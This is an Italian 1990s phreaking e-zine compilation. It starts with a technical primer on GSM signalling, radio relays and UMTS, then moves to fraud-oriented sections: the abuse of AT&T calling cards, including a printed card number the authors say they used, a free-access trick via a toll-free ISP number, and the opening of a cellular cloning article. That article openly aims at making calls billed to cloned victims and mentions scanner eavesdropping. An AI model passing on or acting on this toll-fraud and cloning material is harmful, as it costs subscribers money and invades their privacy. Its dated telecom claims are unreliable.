- **PCH** Canale di paging, riporta tutti i telefoni che stanno ricevendo chiamate, se il telefono si accorge di essere presente nella lista si attiva la progedura di paging.
- **SDCCH** Autentificazioni e registrazioni dei vari telefoni.
- **TCH** Canale di traffico che trasporta tra le altre le informazioni della conversazione cioe' le parole crittografate.
- **SACCH** Canale per scambio messaggi, misure di campo, Time Advance ecc.

DESCRIZIONE CONCETTI GENERALI (Le varie procedure verranno descritte successivamente).

ROAMING (solo in idle mode)
Quando un telefono (MS) si sposta da una cella a cui e' connesso nell'area di copertura di un'altra cella, il telefono stesso decide di cambiare la frequenza (senza per questo avvisare la radio base). Questo e' il ROAMING. Il MS e' in continua misura delle celle adicenti che gli vengono inviate dalla BTS attraverso il canale BCCH. La procedura viene anche detta RESELECTION

CAMBIO LOCATION AREA
Il telefono monitorizza sempre durante lo stato di idle mode il canale BCCH, quando si accorge di essere passato su celle che hanno un identificativo dell'area diverso da quello che lui aveva in precedenza viene effettuata una procedura chiamata LOCATION UPDATING.

REGISTRAZIONE
Questa registrazione viene fatta per aggiornare i database connessi all'MSC di appartenenza, viene effettuata una procedura di rilascio con la vecchia stazione (detta IMSI detach) e una registrazione presso la nuova (IMSI attach). Esiste la possibilita' di imporre al telefono una procedura di registrazione periodica es. ogni 30 minuti; se non si ricevono informazioni dal MS durante questo periodo, l'MSC si impone una procedura di detach.

PAGING
Il telefono monitorizza sempre in idle mode il canale di paging; se si accorge che e' in arrivo una chiamata per lui parte la procedura di assegnamento del canale voce (chiamata). Il messaggio di paging non cambia all'interno di una stessa area.

Il sistema GSM

ASSEGNAMENTO
Quando inizo una telefonata sia fatta dal MS che ricevuta, si attiva una procedura di assegnamento del canale voce detta ASSIGNEMENT

HANDOVER
Detto in parole povere e' la procedura di ROAMING effettuata in conversazione La conversazione passa su un'altra portante di un'altra BTS; non e' detto che venga mantenuto lo stesso timeslot. Viene attivata la procedura omonima.

INTRACELL HANDOVER
Dopo aver effettuato l'assegnamento del canale voce, e' possibile un nuovo assegnamento su un'altra portante della stessa cella. Se la BTS ha solo una portante, viene cambiato timeslot.

FREQUENCY HOPPING
Durante una conversazione puo' accadere di fare un HANDOVER; se il sistema gestisce il freq. hopping, l'handover puo' essere effettuato su un'altra portante della stessa BTS; il timeslot rimane lo stesso anche dopo l'avvenuto handover. Attualmente il sistema non lo gestisce.

RELEASE
E' la chiusura della conversazione. Viene attivata la procedura omonima.

DISCONTINUOUS TRANSMISSION
E' la trasmissione discontinua; il MS in comunicazione puo' comporre delle frame complete di informazioni sulla codifica della voce anche se tra gli utenti non vengono scambiate parole; questo occupa inutilmente il canale voce. La trasmissione discontinua durante una 'pausa' nella conversazione permette al MS di comporre delle frame di dimensioni ridotte.
Nel sistema GSM gestito da TI e' attiva la trasmissione discontinua.

POWER CONTROL
la BTS dice al MS in conversazione con quale potenza deve accedere nella sua area di copertura, questo limita il consumo delle batterie e crea minori interferenze. Questa informazione viene inviata ogni 480 millisec.

TRASMISSIONE DATI
La strasmissione dati e' a tutti gli effetti una conversazione tra due utenti, viene impiegato lo stesso canale voce; la differenza e' che viene abilitata una 'porta' (SAPI) dedicata alla trasmissione dati diversa da quella attivata per una conversazione normale.

Di seguito vengono spiegate le principali procedure radio tra MS e BTS suddivise in stati, ogni stato e' composto da diversi messaggi che non verranno spiegati.

E' fondamentale, pero', spiegare alcuni concetti:
Lo scambio di informazioni avviene su due livelli di messaggi; il primo chiamato LAYER 2 porta informazioni piu' a basso livello, alcune delle quali inerenti la struttura della frame inviata o ricevuta. Il secondo tipo di messaggio si chiama LAYER 3 e porta le informazioni sia dal MS alla BTS (detto UPLOAD), sia dalla BTS al MS (detto DOWNLOAD)

Il LAYER 2, inoltre, puo' contenere al suo interno il messaggio di livello 3; sara' compito della BTS o MS scompattare il messaggio per elaborare il LAYER 3.

LAYER 2 UP MS -> BTS (puo' contenere un LAYER 3 UP)
LAYER 2 DOWN BTS -> MS (puo' contenere un LAYER 3 DOWN)
LAYER 3 UP MS -> BTS
LAYER 3 DOWN BTS -> MS

Tutti i messaggi sono binari, noi riusciamo a leggerli in un formato stabilito dalle raccomandazioni GSM solo perche' la BTS o MS li scompattano. A livello radio non abbiamo accesso a tutte le informazioni, quello che stabilisce l'MSC o il BSC non lo possiamo vedere; possiamo solo sapere se le varie procedure sono state accettate (in alcune procedure e' implicita la decisione del BSC o MSC, vedi handover completato o altro).

Il sistema GSM

La stessa presenza o meno del LAYER 2 o 3 nella sequenza dei messaggi in una qualsiasi procedura indica se si sta svolgendo correttamente oppure no.

Le raccomandazioni GSM dividono una procedura in tre fasi:

1. RR CONNECTION connessione radio stabilita (composta da vari messaggi a seconda del tipo di procedura) RR sta per radio resource
2. MM CONNECTION connessione di livello 2 stabilita (cioe'se tra MS e BTS esiste realmente uno scambio di informazioni) MM sta per mobility menagment
3. EVENTO passata la fase RR e MM viene identificata la procedura

A qualsiasi livello puo' esserci un failure.

IDLE (IL TELEFONO NON E' IN CONVERSAZIONE)
Questa non e' una procedura; e' uno stato del telefono. Il telefono analizza il canale di paging per vedere se una chiamata e' in arrivo; contemporaneamente vengono inviate al telefono informazioni relative alle celle adiacenti.

LOCATION UPDATING
Questa procedura viene attivata durante l'accensione del telefono oppure quando si passa da un'area di copertura (Location Area) ad un'altra

1- il telefono e' nello stato di idle
2- UP viene richiesto un canale (channel request)
3- DOWN viene assegnato (non realmente ancora) un canale (immediate assignment)
4- UP viene attivata la procedura location updating (request) (stabilito IMSI)
5- connessione a livello 2
6- DOWN location updating accettata o reject
7- UP scollegamento richiesto (channel release)
8- il telefono e' nello stato di idle

ASSEGNAMENTO - INIZIO CONVERSAZIONE MS -> BTS
1- il telefono e' nello stato di idle
2- UP viene richiesto un canale (channel request)
3- DOWN viene assegnato (non realmente ancora) un canale (immediate assignment)
4- connessione a livello 2
5- viene stabilita l'identita' del telefono IMEI e algoritmo di codifica
6- se tutto e' andato bene in DOWN viene confermato il servizio (CM service)
7- viene emesso un record di informazioni (setup) che contiene anche il numero del telefono da chiamare
8- DOWN la radio base conferma l'assegnamento del canale voce
9- UP il telefono conferma assegnamento del canale voce
10- connessione a livello 2 per controllare connessione
11- sono in conversazione

ASSEGNAMENTO - INIZIO CONVERSAZIONE BTS -> MS
1- il telefono e' nello stato di idle
2- DOWN arriva un paging per il telefono
3- UP viene richiesto un canale (channel request)
4- DOWN viene assegnato (non realmente ancora) un canale (immediate assignment)
5- connessione a livello 2
6- viene stabilita l'identita' del telefono IMEI e algoritmo di codifica
7- se tutto e' andato bene in DOWN viene confermato il servizio (CM service)
8- viene emesso un record di informazioni (setup) che contiene anche il numero del telefono da chiamare
9- DOWN la radio base conferma l'assegnamento del canale voce
10- UP il telefono conferma assegnamento del canale voce
11- connessione a livello 2 per controllare connessione
12- il telefono squilla

Il sistema GSM

DEDICATED (CONVERSAZIONE)
Questa non e' una procedura; e' uno stato del telefono.
Ogni 480 millisec. il telefono manda in UP le misure delle celle adiacenti, TA, TxPower, canale, bsic, timeslot, livello, qualita' (Bit Error Rate) ecc.
la BTS invia sempre con la stessa tempistica informazioni relative al segnale ed alla cella ricevuta, CGI, Power Control, Tipo di trasmissione ecc; in piu' la BTS invia il valore di due contatori chiamati rlink; il primo indica sempre il valore massimo del contatore impostato in centrale; il secondo viene decrementato di una unita' se in UP il messaggio non e' stato correttamente decodificato, mentre viene incrementato di due unita' fino al valore massimo se il messaggio in UP viene codificato.
Il secondo contatore detto 'current rlink counter' se raggiunge il valore 0 fa cadere la conversazione.

HANDOVER
1- il telefono e' in conversazione (dedicated mode)
2- la BTS si accorge che uno dei criteri per handover (qualita' cattiva, segnale debole, distanza dalla BTS che supera i limiti impostati in centrale ecc) si e' verificato, di conseguenza comanda al telefono di effettuare handover (handover command DOWN)
3- UP il telefono converma la ricezione del comando
4- UP il telefono invia il messaggio di handover completato o fallito
5- Connessione a livello 2 con la nuova cella se handover completo oppure con la vecchia cella se handover fallito. Se la connessione a livello 2 con la nuova cella fallisce, si tenta la connessione con la vecchia cella; se la connessione con la vecchia cella fallisce, cade la conversazione
6- il telefono continua la conversazione sulla nuova cella oppure rimane sulla vecchia se l'handover e' fallito

RELEASE RICHIESTA DA MS (chiamante che chiude non Microsoft!)
1- il telefono e' in conversazione (dedicated mode)
2- UP messaggio di disconnect dal telefono
3- DOWN messaggio di release
4- UP il telefono invia release completata
5- DOWN viene inviato comando di channel release
6- UP il telefono conferma abbandono di canale (disconnect)
7- telefono nello stato di idle

RELEASE RICHIESTA DA BTS (chiamato che chiude)
1- il telefono e' in conversazione (dedicated mode)
2- DOWN messaggio di disconnect dalla BTS
3- UP messaggio di release
4- DOWN release completata dalla BTS
5- DOWN viene inviato comando di channel release
6- UP il telefono conferma abbandono di canale (disconnect)
7- telefono nello stato di idle

Il sistema GSM

I ponti radio utilizzati per trasmettere fasci di canali telefonici per giunzione tra centrali interurbane sono di due tipi:

- **analogici:** convogliano con modulazione SS-FM (single sideband a modulazione di frequenza) piu' fasci di canali (normalmente l'untia' di misura e' il supergruppo pari a 60 canali telefonici) multiplati a divisione di frequenza.
- **digitali:** convogliano con modulazione normalmente QAM (come i modem) fasci di canali telefonici multiplati secondo la gererarchia plesiocrona (parola difficile che significa con sincronismo asservito ad un orologio master) tipica della multiplazione PCM.

Bande di frequenza standardizzate CCIR e CCITT ed assegnate al Gestore pubblico in Italia:

Ponti Radio Analogici

1350 - 1650 MHz utilizzata da ponti radio di piccola capacita' (4 supergruppi) negli anni passati da ASST ora confluita in TI. Utilizzata anche dalla RAI per iponti di trasfimento dei canali audio e musicali tra le varie sedi regionali.

1700 - 2300 MHz dovrebbe essere ormai completamente smantellata, era usata per ponti di piccola capacita' (1 supergruppo) da SIP e RAI.

3600 - 4200 MHz utilizzata dalla rete primaria nazionale con fasci radio ciascuno da 16 supergruppi.

5925 - 6450 MHz ponti radio a grandissima capacita' da 45 supergruppi utilizzato solo dalla ex-ASST ora TI.

6575 - 7125 MHz per tratte comuni a piu' direzioni normalmente sooporta fasci radio a 5 supergruppi.

7125 - 7445 MHz riservata negli anni passati a SIP per la rete secondaria.

7445 - 7750 MHz come sopra.

10700 - 11700 a disposizione ma non utilizzata.

Ponti Radio Digitali

gamma 7 GHz modulazione QAM con costellazione a 64 punti usato per fasci 140 Mbit/sec e piu' raramente per fasci a 70 Mbit/sec

gamma 11 GHz modulazione QAM con costellazione a 16 punti usato anche questo per fasci a 140 Mbit/sec

gamma 13 GHz modulazione PSK a 4 fasi per fasci a 8 o 34 Mbit/sec

gamma 18 GHz modulazione PSK a 2 fasi per fasci a 2 o 8 Mbit/sec

I ponti radio normalmente devono poter avere visibilita' ottica e di conseguenza le tratte non possono coprire grandi distanze. Mediamente vengono ripetuti ogni 50/60 Km e quindi una dorsale nazionale da nord a sud comporta la costruzione di molte stazioni ripetitrici.
La saturazione delle gamme di frequenza, l'accresciuta richiesta di bande trasmissive ed in notevoli progressi nel campo della fibra ottica ha reso i ponti radio piu' costosi e meno affidabili dei sistemi in fibra che stanno progressivvamente sostituendo le dorsali primarie. I canali su ponte radio presentano qualita' inferiore rispetto a canali in cavo o in fibra ottica.

Il sistema GSM

Evoluzione dei sistemi mobili UMTS: Che cosa e'?

UTMS: Universal Mobile Telecommunication System, portera' l'utente delle telecomunicazioni nella nuova societa' dell'informazione. Portera' informazioni, disegni e grafici direttamente alla gente e fornira' l'accesso alla prossima generaziona basata sui servizi d'informazione.
Muovera' le comunicazioni mobili e personali verso i sistemi di seconda generazione che gia' stanno portando masse di mercato verso servizi a basso costo.

Prospettiva ideale

A medio/lungo termine UTMS dovrebbe unificare, integrandoli, i diversi sistemi esistenti con un'unica interfaccia radio che consenta l'accesso a reti diverse, pubbliche o private, attraverso un unico terminale.

Prospettiva realistica

Visione orientata al mercato. Continuita' con l'attuale tendenza che prevede lo sviluppo di sistemi non necessariamente unificati a livello di interfaccia radio, ma ritagliati sulle esigenze specifiche dei diversi livelli di utenza

Il sistema UMTS

- Servizi voce e dati per utenti mobili in qualunque tipo di ambiente (indoor outdoor, urbano/rurale); con le stesse potenzialita', in termini di servizio e penetrazione di mercato, offerte dai sistemi attuali.
- Ampio spettro di servizi offerti con velocita' fino a 2Mb/s, anche in ambienti ad alta densita' di traffico.
- Servizi a bit-rate variabile con alto grado di flessibilita'.
- Estesa varieta' di terminali: dal personal communicator alle workstation mobili.
- Ambiente multi-operatore e con copertura mista (macro, micro e pico celle) per garantire il servizio ad utenti con caratteristiche di mobilita' e di traffico diverse.
- Roaming nazionale, internazionale e globale.

Migrazione verso UMTS

```
          ___
             |
      MOBITEX|--------------------+ pacchetto dati        ------------
          ___|                    +---------------------->|          |
                                                          |          |
          ___                                             |          |
             |     circuito globale a bassa densita'      |          |
TACS/GSM/DCS |------------------------------------------->|   UMTS   |
          ___|                                            |          |
                                         +--------------->|          |
          ___                            |             +->|          |
             |  circuito globale ad alta | densita'    |  ------------
    CT2/DECT |---------------------------+             |
          ___|                                         |
                                                       |
          ___                                          |
             |              distributivo               |
       ERMES |-----------------------------------------+
          ___|
```

Il sistema GSM

Migrazione verso UMTS: Protocolli radio

GSM
- canali di segnalazione associati a velocita' fissa.
- capacita' del canale di traffico ridotta in modo non controllato a causa di segnalazione "fast".
- nessuna possibilita' di connessioni "multiple bearer" o asimmetriche.
- corrispondenza biunivoca tra chiamata e connessione.
- gestione delle risorse radio a livello 3.

DECT
- canali di segnalazione associati a velocita' fissa.
- capacita' del canale di traffico ridotta in modo prefissato.
- separazione tra controllo e dati d'utente.
- separazione tra chiamata e connessione.
- gestione delle risorse audio a livello 2.

UMTS
- canali di seganalazione associati a velocita' variabile.
- capacita' del canale di traffico non ridotta (o ridotta in modo controllato) a causa della segnalazione.
- separazione tra controllo e dati d'utente.
- separazione tra chiamata e connessione.
- gestione delle risorse radio a livello 2.

Migrazione verso UMTS: Handover

GSM
- Mobile assisted.
- Backward handover.
- Hard handover.
- Handover tra entita' di rete per mantenere la continuita' della conversazione.

DECT
- Mobile controlled.
- Forward handover.
- Seamless handover.
- Handover tra livelli di protocollo per mantenere la continuita' della conversazione.

UMTS
- Network managed:
  - Network evaluated.
  - Mobile evaluated.
- Forward/backward handover.
- Soft handover + microdiverity.
- Seamless handover per mantenere la continuita' e migliorare la qualita' della conversazione.

Migrazione verso UMTS: Servizi dati

GSM
- servizi dati solo simmetrici
- velocita' fino a 9.6 kb/s
- una sola connessione per ogni chiamata
- chiamate multiple su connessioni indipendenti
- variazione lenta della velocita'

Il sistema GSM

DECT
- servizi dati simmetrici e asimmetrici
- velocita' fino a 384 kb/s (oltre 730 kb/s unidirezionali teorici)
- connessioni multiple
- chiamate multiple con connessioni condivise
- variazione lenta della velocita'

UMTS
- servizi simmetrici e asimmetrici
- velocita' fino a 2Mb/s
- connessioni multiple con connessioni condivise
- variazione veloce della velocita'

Migrazione verso UMTS: Servizi dati a velocita' variabile

GSM
- variazione solo da parte dell'utente (o del terminale)
- variazione all'interno della singola connessione
- variazione lenta
- nessun impatto sulla disponibilita' delle risorse radio

DECT
- variazione da parte del sistema e dell'utente
- variazione all'interno della singola connessione con instaurazione/rilascio di bearers piu' modificata della larghezza di banda
- variazione lenta
- impatto sulla disponibilita' delle risorse radio solo nel caso di instaurazione/rilascio dei bearers

UMTS
- variazione da parte dell'utente e del sistema
- variazione all'interno della singola connessione con instaurazione/rilascio di bearers piu' modificata della larghezza di banda
- variazione veloce (frame by frame)
- impatto sulla disponibilita' delle risorse radio

Il sistema GSM

Confronto tra i sistemi cellulari GSM900/DCS1800 ed il sistema CTM basato su DECT/ISDN/IN

	GSM900	DCS1800	DECT
Frequenza	900 Mhz	1.8 GHz	1.88 GHz
Tecnica di accesso	TDMA/FDD		MC/TDMA/TDD
Banda occupata	25 +25MHz	75 +75Mhz	20 MHz
Portanti RF	124	374	10 per RBS
Canali/portante	8 full rate 16 hlaf rate	8 full rate 16 half rate	12 full slot 24 half slot
Piano frequenze	Pianificazione cellulare fissa		Non necessita di pianifi cazione;Dynamic Channel Allocation/Selection (DCA/DCS)
Dimensione cella	1 - 35Km	0.5 - 8Km	20 - 500m
Rete di supporto	PLMN cellulare (overlay network		PSTN/ISDN/IN (integrated network)
Codifica fonia	13 Kb/s (full rate)		32 Kb/s ADPCM
Capacita' traffico	<1000 Erl/Kmq	<3000 Erl/Kmq	>10000 Erl Kmq
Ambienti applicazione	Rurali,extraurbani, periferici urbani con bassa densita' di traffico		Aree densamente popolate commerciali, uffici, indoor in genere. Aree con alta densita' di traffico
Caratteristiche siste ma	Sistema cellulare di alta poten za; per applicazioni High Tier		Sistema cordless di bassa potenza ed alta capacita'; per applicazioni Low Tier
Copertura radio	Totale	Totale in aree metropolitane	Aree geografiche circoscritte
	Outdoor		Outdoor/indoor
Percentuale copertura	90% della popolazione		> 97% della popolazione
Mobilita' e Handover	A velocita' veicolare		A velocita' pedonale
Traffico utente	20 mErl		70 mErl
Qualita' fonia Grado di servizio Ritardo trasmissione	Media > 90% medio		Alta, come rete fissa > 99% basso (<10ms)
Funzioni prestazioni			
Accessibilita' al servizio	Accesso a tutti i servizi compatibilmente con gli accordi tra gli operatori		Accesso a tutti i servi zi consentiti dal tipo di abbonamento (profilo d'utente)
Mobilita' e localizza zione	Su tutta l'area di servizio limitato dalla copertura radio		Aree domestiche,business e pubbliche (limitato da copertura radio
Handover	Fino a 250 Km/h Non seamless; intra e intercell		Fino a 20Km/h Seamless, intra e inter cell
Servizio indoor privato	Ristretto		Possibile con copertura radio indoor
Tassazione individual	Ristretta al tipo di abbonament		Funzione UTP di rete IN
Sicurezza/ Condifenzialita'	Autenticazione,PIN,cifratura		Autenticazazione, PIN, cifratura

Il sistema GSM

	GSM900	DCS1800	DECT
Servizi supplementari	Si		Si
Servizi a valore aggiunto	Si		Si
Costo abbonamento	Normalmente alto		Allineato a PSTN/ISDN
Struttura tariffe	Normalmente alta Regionale (da approvare) Nazionale Internazionale		Allineata a PSTN/ISDN con maggiore flessibilita' sulle condizioni di tariffazione
Terminale			
Prestazione terminal:			
Menu driven	Tramite display		Tramite display ed annunci registarti
Adattatore FAX,PC,PAD	Si, opzionale		Si, opzionale
Lettore Smart Cart	Si (SIM e micro-SIM)		DAM disponibile a beve
Peso	250 gr	250 gr	<200gr
Potenza Tx	0.8-20W	0.25-1W	0.08-0.25W
Dimensioni	come TACS		150 x 50 x 20
Costo (obiettivo)	300/500 ECU		100/200 ECU

Se qualcuno ha ulteriori curiosita' domandate pure... in mail!

Cya...

Nick1
SPP Group

Le calling cards piu' usate sono solitamente quelledi :

AT&T (American Telephone & Telegraph)
MCI (adesso Worldphone)
US SPRINT (adesso GLOBAL ONE).

Dall'Italia i numeri gratuiti per accedere ai centralini automatici delle suddette sono :

AT&T (1721-011)
MCI (1721-022)
US SPRINT (1721-877)

tutte e tre i servizi richiedono l'inserimento del numero da chiamare (che per at&t e mci puo'
essere o un numero statunitense nella forma acn-phone (es: 617-258-7111) o un numero internazionale nella forma 011-cc-phone o 00-cc-phone (es:011-39-2-4040401, 00-39-2-4040401 Milano) e della calling card (che per tutte e tre le compagnie e' di 14 cifre XXX-XXX-XXXX-XXXX).
Nella golden age italiana (prima del '93) erano usatissime le AT&T CC, con il solo problema che
all'epoca i sistemi automatici non c'erano e dovevi parlare in americano stretto con una operatrice (frase divenuta famosa : AT&T, May I Help you ? per MCI : MCI upreader 543, How can I Help you ?, chissà se saranno rimaste uguali (nel senso che le frasi di risposta sono definite dalla politica aziendale) e che non potevi chiamare al di fuori degli USA.. a meno di non chiamare con la CC un PBX o PABX in USA e da quello richiamare dove volevi anche le Allied Teleconferencing col quale si facevano conference notturne in 7-8 di durata oceanica...
(10288-0700-456-1000 il numero dell'alliance se mi ricordo bene e se non e' variato..)
Vi anticipo che NON esistono algoritmi per calcolare le AT&T CC.. le private sono composte dal numero dell'abbonato + 4 cifre di codice rilasciate a caso da un calcolatore at&t .. le aziendali sono composte da 10 cifre algoritmiche (l'algo e' sconosciuto) + 4 a caso... Vi lascio per la storia la piu' bella at&t che abbia mai visto.. l'avevamo solo in due e duro' 30 giorni (la media di funzionamento prima che una carta venisse bloccata era di 2-3 giorni nel 1992):
212-433-5421-6214

3.9 Giocare via modem gratis e altro
di CDP

Allora, premetto che questo metodo non l'ho provato ma dovrebbe funzionare al 100%.
Avete presente quei numeri verdi ai quali è possibile telefonare per sottoscrivere un abbonamento a TIN e ci si naviga come si fosse in Internet (anche se si rimane sempre sul server?). Ebbene quando vi collegate vi viene dato un indirizzo IP...
Quindi se un vostro amico si collega allo stesso numero e stesso server può collegarsi con voi tramite il vostro indirizzo IP!
Potrete così giocare a tutti i giochi che supportano il multiplayer via internet!!
Il problema semmai è come dare il proprio IP agli amici, che so, fate voi... piccioni viaggiatori, CB, telefonino... sbizzarritevi!
Se volete provare subito vi dò questo green:
167012837
(Questo è quello che trovate alla risposta di Internet gratis, seguendo quel metodo ne potreste trovare altri)
Vi ci collegate con accesso remoto e alla schermata del terminale (a connessione effettuata) digitate:
ppp d
e vi viene dato un IP address.
Se non avete voglia di giocare potete lanciare il browser e collegarvi a www.tin.it e farvi quattro risate.

Sezione 4: Telefonia cellulare.

4.1 Introduzione

Il settore del cellular phreaking è sicuramente uno dei più evoluti e uno di quelli che hanno fatto girare più soldi tra i truffatori. Sfortunatamente chi scopre nuove cose è colui che lo fa per lucro e le informazioni sono difficilissime da scoprire. Noi di Spaghetti andiamo cercando da tempo qualcuno che sia parecchio esperto nel settore per aiutarci a sviluppare questa sezione.

4.2 Cellulari e clonazione Etacs

Estratto da Butchered From Inside n° 2
In coerenza con lo stile di pIGpEN e per mancanza di idee :)
Autore: |PazzO|
Consumo: 20 ore di sonno + o -, 3 cellulari bruciati (scherzo), 1 rotolo di carta igienica (raffreddore)
Rompimenti di coglioni: 2 Telefonate, Citofono, Cellulare, Mia madre, mia sorella!! GRRRRRRRRRR
Musica Ascoltata: (accendo la radio e scrivo a caso) OasiS a manetta!!!!
Dedica: A Micaela perche' anche se non la conosco (ma chi e' questa tizia lo sapro' mai?) ha un server talmente impenetrabile che sta facendo uscire pazzi tutti gli hackers (o lovers) di S0ftPj
Subject: Cellulari and related (Almeno questo era l'intento prima di scrivere l'articolo)
Parte: Prima e Seconda

Premetto che se non ve ne fotte un caxxo di come funzionano i cellulari, di cosa sono e perche' ci sono 3 diversi sistemi, di cosa usate per telefonare e di come lo fate, ma vi interessa solo chiamare gratis allora o siete dei Lamah o siete degli impazienti di quelli che aprono 300 finestre di NETscape fino a fare impallare tutto come me, in quest'ultimo caso jumpate direttamente alla seconda parte dell'articolo, anche se vi consiglio di leggerlo attentamente perche' e' molto interessante (almeno credo).

La domanda che in generale affolla la mente di tutti i Phreakers d'Italia, ma soprattutto la mente dei miei quando pagano la bolletta del telefono e' "Ma si puo' telefonare gratis in qualche modo tipo alzo la cornetta sto 4 ore attakkato e non pago un caxxo????".
Beh vi anticipo che alla fine del mio piccolo/grande articolo voi riuscirete tranquillamente a chiamare gratis* ovunque voi crediate. *(per il significato del termine Gratis vai piu' avanti).

Voglio premettere che tutto cio' che scrivo e' a scopo PURAMENTE INFORMATIVO ED EDUCATIVO e che e' proibito dalla legge del nostro stato manipolare telefoni cellulari a danno altrui o della Telecom Italia Mobile per trarne vantaggi. Non sono dunque responsabile per atti criminali dovuti al cattivo uso di queste informazioni e non mi ritengo nemmeno responsabile per danni causati a telefoni cellulari E-Tacs o GSM dal cattivo funzionamento di codici o altro contenuto in questo articolo. Non prendetevela con me quindi se il vostro cellulare smette di funzionare o fonde inspiegabilmente, anche perche' e' molto difficile per un inesperto manipolare il Firmware di un telefono non compromettendolo definitivamente. Ah, dimenticavo, se vi arrestano per aver clonato 1,10,100 cellulari io non rispondo delle vostre azioni criminali.
Questo articolo e' scritto per i possessori di cellulari in modo da consentire di proteggersi da eventuali clonatori.

Innanzi tutto devo fare una precisazione sul termine Gratis. Molti intendono per telefonare gratis il telefonare senza pagare una lira, beh sarete sorpresi

dal fatto che non e' cosi'. Esiste una sottile differenza tra il chiamare gratis e il chiamare a spese altrui. Nel primo caso la mia chiamata non la paga nessuno poiche' non viene addebbitata dalla TIM, mentre nel secondo caso la mia chiamata viene addebbitata a un povero disgraziato al quale avremo clonato la sim o il cellulare, quindi state attenti poiche' queste info in campo di Cell Ph oggi permettono solo di telefonare a spese altrui e non gratis, ma penso che per voi non faccia poi grande differenza. ;-))

Iniziamo ora la parte veramente interessante con dei cenni preliminari sui sistemi cellulari oggi in uso.
Esistono due sistemi di cellulari attualmente in uso in Italia e un terzo in uso nel mondo intero, cioe' un sistema analogico e due sistemi digitali.
Il primo, in Italia, e' definito sistema E-TACS ed e' attualmente quello che garantisce la maggior copertura sul territorio nazionale sia a livello di linee disponibili sia a livello di antenne impiantate.
Il sistema E-tacs si basa su una tecnologia di prima generazione ovvero analogica. Il cellulare agganciato alla rete infatti non tramuta le informazioni in formato digitale ma le trasmette cosi' come le riceve dal microfono o dalla tastiera all'antenna che le smista alla centrale sino alla rete Telecom.
Questo sistema antiquato ci permette oggi di ascoltare con un semplice scanner le conversazioni altrui senza poter essere scoperti da nessuno e senza disturbare o interrompere la linea (per freqs e info vedi: BFI n.1 "Radioascolto per veri ascoltoni",Vanadio).
In pratica il cellulare possiede un numero di identificazione che viene fatto coincidere con il Serial Number, grazie al quale si registra sull'antenna che inoltra la chiamata. In pratica quando noi premiamo il tasto invio del nostro telefono esso dialoga per 2-3 secondi con l'antenna che lo sta servendo, trasmettendogli il suo numero di identificazione associato al numero del chiamante; intanto l'antenna dialoga (questa volta via cavo) con la centrale telefonica, la quale controlla se l'utente e' abilitato a chiamare -del tipo: se ha pagato la bolletta- ;-)
E dopo aver ricevuto la conferma attende che il cellulare le trasmetta il numero da chiamare, il cellulare ricevuto l'ok trasmette il numero e si connette alla rete telefonica ed effettua la chiamata (voglio ricordare che la prima parte del processo si ripete ogni volta che il cellulare passa da ricerca campo a campo per consentire la ricezione delle chiamate con un grande dispendio di energia).
E allora come faccio a fottere questo sistema?
Bisogna dire che i cellulari nascono di fabbrica senza nessun contratto o registrazione ma gia' con un numero seriale: e chi li attiva?
Ma i nostri amiconi della Telecom, naturalmente, che posseggono tutti i codici di riprogrammazione di telefoni cellulari e che prendono per fare questo L.500.000 di attivazione (mocc a'loro).
Ma se lo fanno loro che sono stati assunti per raccomandazioni e che non distinguono un pc da un televisore, perche' io non dovrei farlo?
L'unico modo per fregare quindi l'antenna (che io sappia) e' simulare che il nostro cellulare sia un untente abilitato e per fare questo bisogna inserire il codice ed il numero di qualcun altro. Su questo torneremo dopo... (ehehe sono sadico!!)
Il sistema E-tacs si e' rivelato di scarsa sicurezza e bassa qualita' facilitando l'introduzione del nuovo standard europeo per la telefonia digitale che e' rappresentato dal GSM ovvero Global Mobile System.
Il passaggio dall'analogico al digitale e' dunque tutt'ora in corso e si completera' entro il 2000. Ma le differenze tra analogico e digitale quali sono dunque? Beh a tutti quelli che mi fanno questa domanda io faccio questo esempio: pensate ad un giradischi vecchio modello e ad un lettore cd, il primo legge dai dischi direttamente la musica incisa e ha il compito di amplificarla tramite la testina che trasforma le incisioni in suono e tramite l'amplificatore, il secondo invece ha il compito di trasformare le informazioni COMPRESSE nel formato digitale in suoni e poi di amplificarle garantendo quindi il passaggio di informazioni di qualita' maggiore in un minor spazio e in

formato digitale.
Oggi il sistema digitale consente una sicurezza maggiore grazie al sistema nuovo di autenticazione (del quale parlero' dopo), un risparmio di energia grazie alla nuova tecnologia dei cellulari, una qualita' quasi perfetta di trasmissione (almeno in teoria) grazie al flusso di dati, la possibilita' di utilizzare piu' apparecchi con lo stesso codice sfruttando la mobilita' della SIM CARD (il cuore del telefono) e infine il nuovo servizio di roaming per collegarsi sulle reti di piu' gestori sparsi sul Globo. Piu' propriamente il sistema GSM e' nato per la trasmissine DATI applicata alla telefonia, quindi per quanto possa sembrare paradossale la funzione di trasferimento dati audio (Telefono) e' da considerarsi una funzione accessoria di quello che e' il piu' potente sistema di trasmissione dati via etere al mondo.
Ma come funziona in pratica il sistema GSM?
Il sistema Gsm si basa sulla trasmissione dati su una determinata frequenza radio assegnata dal governo al Gestore (colui il quale si prende l'onere di costruire le antenne e di vendere l'abbonamento a prezzi concorrenziali -vedi TIM o OMNITEL-). L'apparecchio GSM oggi disponibile in numerose Marche, modelli, dimensioni e capacita' diventa quindi Universale grazie alla SIMcard, che e' la tessera che contiene le informazioni relative al contratto dell'abbonato (algoritmo di idefinticazione) e dati relativi alle impostazioni del cellulare, numero di telefono etc (Seguira' presto una DETTAGLIATA spiegazione del funzionamento della SIM CARD e della sua composizione FONDAMENTALE per poter riprodurne una"in casa").
Il sistema GSM e' inpenetrabile in fase di "identificazione" con l'antenna grazie all'algoritmo di identificazione che viene assegnato al Gestore il quale a sua volta lo usa per produrre le proprie schede SIM. Quando noi premiamo il tasto invio, questa volta il cellulare attende la trasmissione di un numero casuale a 128 bit che gli verra' fornito dal centro autenticazione contattato dall'antenna, il numero passa dal cellulare alla sim che lo passa attraverso le sue copie degli algoritmi A1,A8 e ki, formula la Risposta a 32 bit e la restituisce al network, lo stesso numero casuale viene di nuovo manipolato dall'algoritmo A8 e dal ki e forma la cyper key (la chiave) che viene inviata al network, il sistema di autenticazione controlla se le due chiavi sono state trattate con l'algoritmo A8 e ne estrae il ki (identificazione) controllandone la validita' e dando quindi il via libera alla transazione.
Questo sistema garantisce che anche con la completa intercettazione dei dati non si possa risalire a nessuna informazione utile ai fini del Sim cloning.
(Che ne dite e' sicuro o no questo sistema?)
Il Gsm quindi e' un sistema sicuro (o almeno questo si crede ;-), ma poi daremo un'okkiata a come riuscire a "fottere" questo sistema.
